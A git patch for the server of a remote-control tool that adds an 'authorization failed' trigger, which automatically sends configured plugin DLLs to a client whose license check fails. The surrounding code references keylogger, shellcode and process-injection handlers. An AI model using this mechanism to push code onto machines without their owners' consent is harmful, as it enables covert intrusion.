From d80d8f21da0e430d6f5292114c0e63401dbca5d6 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 6 Oct 2026 17:50:30 +0200 Subject: [PATCH] =?UTF-8?q?Feature:=20Add=20auth-failed=20trigger=20type?= =?UTF-8?q?=20(=E6=8E=88=E6=9D=83=E5=A4=B1=E8=B4=A5=E8=A7=A6=E5=8F=91)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Add a second trigger type TRIGGER_AUTH_FAILED alongside the existing TRIGGER_HOST_ONLINE. When a host's authorization fails — V1 or V2, at initial TOKEN_AUTH or on a later heartbeat — the server fires the auth-failed trigger and sends the configured plugin DLLs to the client, gated by the existing ShouldLogAuth dedup so a persistently failing host is re-triggered only once per hour or on a state change. VerifyClientAuth gains a sender parameter so the failure branch can reach the live connection context; both call sites (TOKEN_AUTH and heartbeat) pass it. TriggerManager caches the auth-failed plugin names in a separate set via HasAuthFailedTrigger/GetAuthFailedPlugins, leaving the online trigger path untouched. Rework the settings dialog so the plugin checklist reflects the currently selected trigger type (new ReflectPluginsForType and a CBN_SELCHANGE handler) instead of hardcoding the online trigger; remove the now-unused GetOnlineTrigger helper. Add "授权失败" translations to en_US, zh_TW and de_DE. Co-Authored-By: deepseek-v4-pro --- server/2015Remote/2015RemoteDlg.cpp | 48 ++++++++++++++- server/2015Remote/2015RemoteDlg.h | 4 +- server/2015Remote/TriggerSettingsDlg.cpp | 75 +++++++++++++++--------- server/2015Remote/TriggerSettingsDlg.h | 15 ++++- server/2015Remote/lang/de_DE.ini | 1 + server/2015Remote/lang/en_US.ini | 1 + server/2015Remote/lang/zh_TW.ini | 1 + 7 files changed, 110 insertions(+), 35 deletions(-) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 893d4a3..4de172b 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -5748,7 +5748,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) // 统一的 V1/V2 授权验证 std::string ip = ContextObject->GetPeerName(); - auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH"); + auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(NULL, sn, passcode, hmac, hmacV2, ip, "AUTH", ContextObject); valid = authorized; bool isV2Auth = !hmacV2.empty() && hmacV2.substr(0, 3) == "v2:"; @@ -7197,7 +7197,8 @@ std::pair CMy2015RemoteDlg::GenerateRenewalInfo( // expired=true 表示签名有效但已过期(可用于续期) std::tuple CMy2015RemoteDlg::VerifyClientAuth(context* host, const std::string& sn, const std::string& passcode, uint64_t hmac, - const std::string& hmacV2, const std::string& ip, const char* source) + const std::string& hmacV2, const std::string& ip, const char* source, + CONTEXT_OBJECT* sender) { BOOL authorized = -1; bool isV2 = false; @@ -7223,6 +7224,7 @@ std::tuple CMy2015RemoteDlg::VerifyClientAuth(context* h Mprintf("[%s] %s V2 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); std::string tip = passcode + std::string(_L(" V2 授权失败: ")) + sn + "[" + ip + "]"; PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); + ExecuteAuthFailedTrigger(sender); } } } else if (!passcode.empty() && IsValidPasscodeFormat(passcode.c_str())) { @@ -7244,6 +7246,7 @@ std::tuple CMy2015RemoteDlg::VerifyClientAuth(context* h Mprintf("[%s] %s V1 授权失败 %d: %s [%s]\n", source, passcode.c_str(), authorized, sn.c_str(), ip.c_str()); std::string tip = passcode + std::string(_L(" V1 授权失败: ")) + sn + "[" + ip + "]"; PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg(tip.c_str()), NULL); + ExecuteAuthFailedTrigger(sender); } } } @@ -7340,7 +7343,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // 统一的 V1/V2 授权验证 std::string ip = ctx->GetClientData(ONLINELIST_IP); - auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB"); + auto [authorized, isV2, isTrail, expired] = VerifyClientAuth(host, hb.SN, hb.Passcode, hb.PwdHmac, hmacV2, ip, "HB", ctx); (void)expired; // 心跳不需要处理过期续期 // 检查并发送预设续期(多点验证) @@ -11471,6 +11474,45 @@ void CMy2015RemoteDlg::ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx) } } +void CMy2015RemoteDlg::ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx) +{ + if (!ctx || m_DllList.empty()) return; + + // 快速检查是否有授权失败触发器(使用缓存,无磁盘IO) + if (!TriggerManager::Instance().HasAuthFailedTrigger()) { + return; + } + + // 获取触发器插件列表(从缓存获取) + auto pluginNames = TriggerManager::Instance().GetAuthFailedPlugins(); + if (pluginNames.empty()) { + return; + } + + Mprintf("[Trigger] Auth failed trigger activated for %s\n", ctx->GetPeerName().c_str()); + + // 遍历触发器配置的插件列表 + for (const auto& pluginName : pluginNames) { + // 查找对应的 DLL + DllInfo* targetDll = nullptr; + for (auto& dll : m_DllList) { + if (dll && dll->Name == pluginName) { + targetDll = dll; + break; + } + } + + if (!targetDll || !targetDll->Data) { + Mprintf("[Trigger] Plugin not found: %s\n", pluginName.c_str()); + continue; + } + + // 发送 DLL 到客户端 + Mprintf("[Trigger] Sending plugin '%s' to %s\n", pluginName.c_str(), ctx->GetPeerName().c_str()); + ctx->Send2Client(targetDll->Data->Buf(), targetDll->Data->length()); + } +} + context* CMy2015RemoteDlg::FindHostByIP(const std::string& ip) { CString clientIP(ip.c_str()); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 6210511..31561fc 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -233,9 +233,10 @@ public: // 统一的授权验证函数,返回: (authorized, isV2, isTrail, expired) // expired=true 表示签名有效但已过期(可用于续期) // source: 验证来源 ("AUTH"=TOKEN_AUTH, "HB"=心跳) + // sender: 发送方连接上下文(授权失败触发器下发 DLL 用),TOKEN_AUTH 路径可为 nullptr std::tuple VerifyClientAuth(context* host, const std::string& sn, const std::string& passcode, uint64_t hmac, const std::string& hmacV2, const std::string& ip, - const char* source = "AUTH"); + const char* source = "AUTH", CONTEXT_OBJECT* sender = nullptr); BOOL SendMasterSettings(CONTEXT_OBJECT* ctx, const MasterSettings& m); void SendFilesToClientV2(context* mainCtx, const std::vector& files, const std::string& targetDir = ""); void SendFilesToClientV2Internal(context* mainCtx, const std::vector& files, @@ -651,6 +652,7 @@ public: afx_msg void OnToolPluginSettings(); afx_msg void OnTriggerSettings(); void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx); + void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx); afx_msg void OnShellcodeAesCArray(); afx_msg void OnParamKblogger(); afx_msg void OnOnlineInjNotepad(); diff --git a/server/2015Remote/TriggerSettingsDlg.cpp b/server/2015Remote/TriggerSettingsDlg.cpp index 24349aa..32d8aec 100644 --- a/server/2015Remote/TriggerSettingsDlg.cpp +++ b/server/2015Remote/TriggerSettingsDlg.cpp @@ -76,6 +76,7 @@ BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx) ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd) ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove) ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers) + ON_CBN_SELCHANGE(IDC_COMBO_TRIGGER_TYPE, &CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType) END_MESSAGE_MAP() CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector& dllList, CWnd* pParent) @@ -118,6 +119,7 @@ void CTriggerSettingsDlg::InitControls() { // 初始化触发类型下拉框 m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线")); + m_comboTriggerType.InsertString(TRIGGER_AUTH_FAILED, _TR("授权失败")); m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE); // 初始化插件列表 @@ -147,27 +149,15 @@ void CTriggerSettingsDlg::LoadPluginsToList() index++; } - // 如果有已配置的主机上线触发器,勾选对应的插件 - TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs); - if (onlineTrigger) { - for (int i = 0; i < m_listPlugins.GetItemCount(); i++) { - DllInfo* dll = reinterpret_cast(m_listPlugins.GetItemData(i)); - if (!dll) continue; - for (const auto& pluginName : onlineTrigger->PluginNames) { - if (pluginName == dll->Name) { - m_listPlugins.SetCheck(i, TRUE); - break; - } - } - } - } + // 回显当前选中触发类型已勾选的插件 + ReflectPluginsForType((TriggerType)m_comboTriggerType.GetCurSel()); } void CTriggerSettingsDlg::LoadTriggersToList() { m_listTriggers.DeleteAllItems(); - const char* typeNames[] = { "主机上线" }; + const char* typeNames[] = { "主机上线", "授权失败" }; int index = 0; for (const auto& cfg : m_Configs) { @@ -264,6 +254,21 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem); + // 回显该触发器配置的插件,并同步下拉框选择 + ReflectPluginsForType(type); + m_comboTriggerType.SetCurSel(type); +} + +void CTriggerSettingsDlg::OnCbnSelchangeComboTriggerType() +{ + int sel = m_comboTriggerType.GetCurSel(); + if (sel >= 0) { + ReflectPluginsForType((TriggerType)sel); + } +} + +void CTriggerSettingsDlg::ReflectPluginsForType(TriggerType type) +{ // 查找对应的触发器配置 TriggerConfig* cfg = nullptr; for (auto& c : m_Configs) { @@ -291,9 +296,6 @@ void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* p } } } - - // 同步下拉框选择 - m_comboTriggerType.SetCurSel(type); } void CTriggerSettingsDlg::OnBnClickedBtnSave() @@ -427,16 +429,6 @@ void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector& c TriggerManager::Instance().Reload(); } -TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector& configs) -{ - for (auto& cfg : configs) { - if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) { - return &cfg; - } - } - return nullptr; -} - // ============================================ // TriggerManager 实现 // ============================================ @@ -455,6 +447,7 @@ void TriggerManager::LoadFromDisk() { // 不加锁,由调用者保证线程安全 m_OnlinePlugins.clear(); + m_AuthFailedPlugins.clear(); auto configs = CTriggerSettingsDlg::LoadTriggerConfigs(); for (const auto& cfg : configs) { @@ -462,6 +455,10 @@ void TriggerManager::LoadFromDisk() for (const auto& name : cfg.PluginNames) { m_OnlinePlugins.insert(name); } + } else if (cfg.Type == TRIGGER_AUTH_FAILED) { + for (const auto& name : cfg.PluginNames) { + m_AuthFailedPlugins.insert(name); + } } } m_bLoaded = true; @@ -495,3 +492,25 @@ std::set TriggerManager::GetOnlinePlugins() LeaveCriticalSection(&m_cs); return result; } + +bool TriggerManager::HasAuthFailedTrigger() +{ + EnterCriticalSection(&m_cs); + if (!m_bLoaded) { + LoadFromDisk(); + } + bool has = !m_AuthFailedPlugins.empty(); + LeaveCriticalSection(&m_cs); + return has; +} + +std::set TriggerManager::GetAuthFailedPlugins() +{ + EnterCriticalSection(&m_cs); + if (!m_bLoaded) { + LoadFromDisk(); + } + std::set result = m_AuthFailedPlugins; // 复制一份返回 + LeaveCriticalSection(&m_cs); + return result; +} diff --git a/server/2015Remote/TriggerSettingsDlg.h b/server/2015Remote/TriggerSettingsDlg.h index b6428b2..f8812c4 100644 --- a/server/2015Remote/TriggerSettingsDlg.h +++ b/server/2015Remote/TriggerSettingsDlg.h @@ -12,6 +12,7 @@ struct DllInfo; // 触发器类型 enum TriggerType { TRIGGER_HOST_ONLINE = 0, // 主机上线 + TRIGGER_AUTH_FAILED = 1, // 授权失败 // 后续可扩展更多类型 }; @@ -34,12 +35,18 @@ public: // 获取主机上线触发器的插件名称集合(高性能查询) std::set GetOnlinePlugins(); + // 获取授权失败触发器的插件名称集合(高性能查询) + std::set GetAuthFailedPlugins(); + // 重新加载配置(保存后调用) void Reload(); // 检查是否有上线触发器 bool HasOnlineTrigger(); + // 检查是否有授权失败触发器 + bool HasAuthFailedTrigger(); + private: TriggerManager(); ~TriggerManager(); @@ -49,7 +56,8 @@ private: void LoadFromDisk(); CRITICAL_SECTION m_cs; - std::set m_OnlinePlugins; // 缓存的上线触发器插件名称 + std::set m_OnlinePlugins; // 缓存的上线触发器插件名称 + std::set m_AuthFailedPlugins; // 缓存的授权失败触发器插件名称 bool m_bLoaded; }; @@ -68,8 +76,6 @@ public: static void SaveTriggerConfigs(const std::vector& configs); // 静态方法:获取配置文件路径 static std::string GetTriggerConfigPath(); - // 静态方法:获取主机上线触发器(如果存在) - static TriggerConfig* GetOnlineTrigger(std::vector& configs); protected: virtual void DoDataExchange(CDataExchange* pDX); @@ -81,12 +87,15 @@ protected: afx_msg void OnBnClickedBtnTriggerAdd(); afx_msg void OnBnClickedBtnTriggerRemove(); afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnCbnSelchangeComboTriggerType(); private: void InitControls(); void LoadPluginsToList(); void LoadTriggersToList(); void UpdateTriggerDisplay(); + // 回显指定触发类型已勾选的插件(取消其他勾选) + void ReflectPluginsForType(TriggerType type); private: std::vector& m_DllList; // 引用主对话框的 DLL 列表 diff --git a/server/2015Remote/lang/de_DE.ini b/server/2015Remote/lang/de_DE.ini index 51bb56f..7a7c6e5 100644 --- a/server/2015Remote/lang/de_DE.ini +++ b/server/2015Remote/lang/de_DE.ini @@ -1824,6 +1824,7 @@ IOCP ´¥·¢ÀàÐÍ:=Ausloesertyp: ִÐж¯×÷:=Aktion: Ö÷»úÉÏÏß=Host online +ÊÚȨʧ°Ü=Autorisierung fehlgeschlagen ²å¼þÃû³Æ=Plugin-Name ´¥·¢Æ÷=Ausloeser ÒÑÅäÖõĴ¥·¢Æ÷=Konfigurierte Ausloeser diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index c5e40e7..ad3fa21 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1825,6 +1825,7 @@ IOCP ´¥·¢ÀàÐÍ:=Trigger Type: ִÐж¯×÷:=Action: Ö÷»úÉÏÏß=Host Online +ÊÚȨʧ°Ü=Authorization Failed ²å¼þÃû³Æ=Plugin Name ´¥·¢Æ÷=Trigger ÒÑÅäÖõĴ¥·¢Æ÷=Configured Triggers diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index e4705b9..984b7cf 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1817,6 +1817,7 @@ IOCP ´¥·¢ÀàÐÍ:=Ó|°lî�ÐÍ: ִÐж¯×÷:=ˆÌÐЄÓ×÷: Ö÷»úÉÏÏß=Ö÷™CÉϾ€ +ÊÚȨʧ°Ü=Êڙàʧ”¡ ²å¼þÃû³Æ=Íâ’ìÃû·Q ´¥·¢Æ÷=Ó|°lÆ÷ ÒÑÅäÖõĴ¥·¢Æ÷=ÒÑÔO¶¨µÄÓ|°lÆ÷